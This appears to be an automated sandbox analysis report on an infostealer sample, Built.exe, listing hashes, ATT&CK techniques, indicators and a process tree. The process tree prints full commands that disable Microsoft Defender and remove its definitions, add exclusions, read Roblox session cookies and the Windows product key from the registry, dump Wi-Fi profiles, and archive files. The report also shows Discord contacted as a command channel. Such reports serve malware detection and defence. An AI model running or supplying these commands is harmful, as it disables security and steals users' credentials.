5776b9a7c76c2f52fe4e50b8104dd32c2b1f5b37dd33d3d94f78bf4cec4547ff

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/07/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Built.exe
Size 7.5MB
Sample260705-lc2yvsbt5z
SHA256 5776b9a7c76c2f52fe4e50b8104dd32c2b1f5b37dd33d3d94f78bf4cec4547ff
MD5 be8dee2881598828c0aeaa723b03d6c3
SHA1 0fd32c5f4d1913f9a5c9ee9d6212d1aa262dfd56
SHA512 9a50692db1cfcce240c267c8e0111883cf6c4a63892f0b08fc0dbe1ba9c5051d9e425f21cfc2ea43d537542921b5201debbc7c7abc830a7906f486e879fdd890
SSDEEP 196608:UgFv3ZV3zOjmFQR4MVGFtwLP7nL225R+q/:RV3aKtM5LP7hE6
TLSH
T1FE8633CD9BE107F6E4B3923C8183C152DB31B92647A8CADF07E057256E232D2993EB55
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3752	powershell.exe
3188	powershell.exe
1796	powershell.exe
2180	powershell.exe
2252	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2180	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2812	bound.exe
2180	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe
3820	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
860	tasklist.exe
3860	tasklist.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000024670-22.dat	upx
behavioral2/memory/3820-26-0x00007FF84D210000-0x00007FF84D7F9000-memory.dmp	upx
behavioral2/files/0x0007000000024662-29.dat	upx
behavioral2/memory/3820-31-0x00007FF85DFF0000-0x00007FF85E013000-memory.dmp	upx
behavioral2/files/0x0007000000024669-49.dat	upx
behavioral2/files/0x0007000000024661-42.dat	upx
behavioral2/memory/3820-54-0x00007FF85A910000-0x00007FF85A93D000-memory.dmp	upx
behavioral2/memory/3820-53-0x00007FF85E050000-0x00007FF85E069000-memory.dmp	upx
behavioral2/files/0x0007000000024665-52.dat	upx
behavioral2/memory/3820-50-0x00007FF85E150000-0x00007FF85E15F000-memory.dmp	upx
behavioral2/files/0x0007000000024668-48.dat	upx
behavioral2/files/0x0007000000024667-47.dat	upx
behavioral2/files/0x0007000000024666-46.dat	upx
behavioral2/files/0x0007000000024664-44.dat	upx
behavioral2/files/0x0007000000024663-43.dat	upx
behavioral2/files/0x0007000000024675-41.dat	upx
behavioral2/files/0x0007000000024674-40.dat	upx
behavioral2/files/0x0007000000024673-39.dat	upx
behavioral2/files/0x000700000002466f-36.dat	upx
behavioral2/files/0x000700000002466d-35.dat	upx
behavioral2/files/0x000700000002466e-32.dat	upx
behavioral2/memory/3820-60-0x00007FF85A620000-0x00007FF85A643000-memory.dmp	upx
behavioral2/memory/3820-62-0x00007FF85A400000-0x00007FF85A570000-memory.dmp	upx
behavioral2/memory/3820-64-0x00007FF85A6B0000-0x00007FF85A6C9000-memory.dmp	upx
behavioral2/memory/3820-66-0x00007FF85A3F0000-0x00007FF85A3FD000-memory.dmp	upx
behavioral2/memory/3820-73-0x00007FF859F80000-0x00007FF85A2F9000-memory.dmp	upx
behavioral2/memory/3820-75-0x00007FF85A300000-0x00007FF85A3B8000-memory.dmp	upx
behavioral2/memory/3820-72-0x00007FF85A3C0000-0x00007FF85A3EE000-memory.dmp	upx
behavioral2/memory/3820-71-0x00007FF84D210000-0x00007FF84D7F9000-memory.dmp	upx
behavioral2/memory/3820-78-0x00007FF859F60000-0x00007FF859F74000-memory.dmp	upx
behavioral2/memory/3820-77-0x00007FF85DFF0000-0x00007FF85E013000-memory.dmp	upx
behavioral2/memory/3820-80-0x00007FF859F50000-0x00007FF859F5D000-memory.dmp	upx
behavioral2/memory/3820-83-0x00007FF84D0F0000-0x00007FF84D20C000-memory.dmp	upx
behavioral2/memory/3820-116-0x00007FF85A620000-0x00007FF85A643000-memory.dmp	upx
behavioral2/memory/3820-117-0x00007FF85A400000-0x00007FF85A570000-memory.dmp	upx
behavioral2/memory/3820-118-0x00007FF85A6B0000-0x00007FF85A6C9000-memory.dmp	upx
behavioral2/memory/3820-119-0x00007FF85A3C0000-0x00007FF85A3EE000-memory.dmp	upx
behavioral2/memory/3820-120-0x00007FF859F80000-0x00007FF85A2F9000-memory.dmp	upx
behavioral2/memory/3820-122-0x00007FF85A300000-0x00007FF85A3B8000-memory.dmp	upx
behavioral2/memory/3820-123-0x00007FF84D210000-0x00007FF84D7F9000-memory.dmp	upx
behavioral2/memory/3820-124-0x00007FF85DFF0000-0x00007FF85E013000-memory.dmp	upx
behavioral2/memory/3820-234-0x00007FF85A910000-0x00007FF85A93D000-memory.dmp	upx
behavioral2/memory/3820-243-0x00007FF85A3C0000-0x00007FF85A3EE000-memory.dmp	upx
behavioral2/memory/3820-247-0x00007FF84D0F0000-0x00007FF84D20C000-memory.dmp	upx
behavioral2/memory/3820-246-0x00007FF859F50000-0x00007FF859F5D000-memory.dmp	upx
behavioral2/memory/3820-245-0x00007FF859F60000-0x00007FF859F74000-memory.dmp	upx
behavioral2/memory/3820-244-0x00007FF859F80000-0x00007FF85A2F9000-memory.dmp	upx
behavioral2/memory/3820-242-0x00007FF85A3F0000-0x00007FF85A3FD000-memory.dmp	upx
behavioral2/memory/3820-241-0x00007FF85A6B0000-0x00007FF85A6C9000-memory.dmp	upx
behavioral2/memory/3820-240-0x00007FF85A400000-0x00007FF85A570000-memory.dmp	upx
behavioral2/memory/3820-239-0x00007FF85A620000-0x00007FF85A643000-memory.dmp	upx
behavioral2/memory/3820-238-0x00007FF85A300000-0x00007FF85A3B8000-memory.dmp	upx
behavioral2/memory/3820-237-0x00007FF85E050000-0x00007FF85E069000-memory.dmp	upx
behavioral2/memory/3820-236-0x00007FF85E150000-0x00007FF85E15F000-memory.dmp	upx
behavioral2/memory/3820-235-0x00007FF85DFF0000-0x00007FF85E013000-memory.dmp	upx
behavioral2/memory/3820-219-0x00007FF84D210000-0x00007FF84D7F9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3276	netsh.exe
4924	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1400	WMIC.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3188	powershell.exe
2180	powershell.exe
2180	powershell.exe
3752	powershell.exe
3188	powershell.exe
3752	powershell.exe
2252	powershell.exe
2252	powershell.exe
4736	powershell.exe
4736	powershell.exe
1796	powershell.exe
1796	powershell.exe
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	860	tasklist.exe
Token: SeDebugPrivilege	3860	tasklist.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemProfilePrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeProfSingleProcessPrivilege	1676	WMIC.exe
Token: SeIncBasePriorityPrivilege	1676	WMIC.exe
Token: SeCreatePagefilePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeDebugPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeRemoteShutdownPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe
Token: 33	1676	WMIC.exe
Token: 34	1676	WMIC.exe
Token: 35	1676	WMIC.exe
Token: 36	1676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemProfilePrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeProfSingleProcessPrivilege	1676	WMIC.exe
Token: SeIncBasePriorityPrivilege	1676	WMIC.exe
Token: SeCreatePagefilePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeDebugPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeRemoteShutdownPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe
Token: 33	1676	WMIC.exe
Token: 34	1676	WMIC.exe
Token: 35	1676	WMIC.exe
Token: 36	1676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3788	WMIC.exe
Token: SeSecurityPrivilege	3788	WMIC.exe
Token: SeTakeOwnershipPrivilege	3788	WMIC.exe
Token: SeLoadDriverPrivilege	3788	WMIC.exe
Token: SeSystemProfilePrivilege	3788	WMIC.exe
Token: SeSystemtimePrivilege	3788	WMIC.exe
Token: SeProfSingleProcessPrivilege	3788	WMIC.exe
Token: SeIncBasePriorityPrivilege	3788	WMIC.exe
Token: SeCreatePagefilePrivilege	3788	WMIC.exe
Token: SeBackupPrivilege	3788	WMIC.exe
Token: SeRestorePrivilege	3788	WMIC.exe
Token: SeShutdownPrivilege	3788	WMIC.exe
Token: SeDebugPrivilege	3788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3788	WMIC.exe
Token: SeRemoteShutdownPrivilege	3788	WMIC.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 3820	2504	Built.exe	85
PID 3820 wrote to memory of 5096	3820	Built.exe	86
PID 3820 wrote to memory of 4632	3820	Built.exe	87
PID 3820 wrote to memory of 1072	3820	Built.exe	90
PID 3820 wrote to memory of 4564	3820	Built.exe	91
PID 1072 wrote to memory of 3752	1072	cmd.exe	94
PID 4632 wrote to memory of 2180	4632	cmd.exe	95
PID 5096 wrote to memory of 3188	5096	cmd.exe	96
PID 4564 wrote to memory of 2812	4564	cmd.exe	97
PID 3820 wrote to memory of 3932	3820	Built.exe	107
PID 3820 wrote to memory of 3756	3820	Built.exe	108
PID 3756 wrote to memory of 860	3756	cmd.exe	111
PID 3932 wrote to memory of 3860	3932	cmd.exe	112
PID 3820 wrote to memory of 4924	3820	Built.exe	113
PID 4924 wrote to memory of 3276	4924	cmd.exe	115
PID 3820 wrote to memory of 3852	3820	Built.exe	116
PID 3852 wrote to memory of 2252	3852	cmd.exe	118
PID 3820 wrote to memory of 4352	3820	Built.exe	119
PID 4352 wrote to memory of 4736	4352	cmd.exe	121
PID 3820 wrote to memory of 3048	3820	Built.exe	122
PID 3048 wrote to memory of 2180	3048	cmd.exe	124
PID 3820 wrote to memory of 3192	3820	Built.exe	125
PID 3192 wrote to memory of 1676	3192	cmd.exe	127
PID 3820 wrote to memory of 4452	3820	Built.exe	128
PID 4452 wrote to memory of 3788	4452	cmd.exe	130
PID 3820 wrote to memory of 632	3820	Built.exe	131
PID 632 wrote to memory of 824	632	cmd.exe	133
PID 3820 wrote to memory of 3660	3820	Built.exe	134
PID 3660 wrote to memory of 1796	3660	cmd.exe	136
PID 3820 wrote to memory of 1892	3820	Built.exe	137
PID 1892 wrote to memory of 1400	1892	cmd.exe	139
PID 3820 wrote to memory of 1592	3820	Built.exe	140
PID 1592 wrote to memory of 2452	1592	cmd.exe	142

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      PID:2812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI25042\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\zevBz.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Users\Admin\AppData\Local\Temp\_MEI25042\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI25042\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\zevBz.zip" *
      4⤵
      Executes dropped EXE
      PID:2180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:632
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...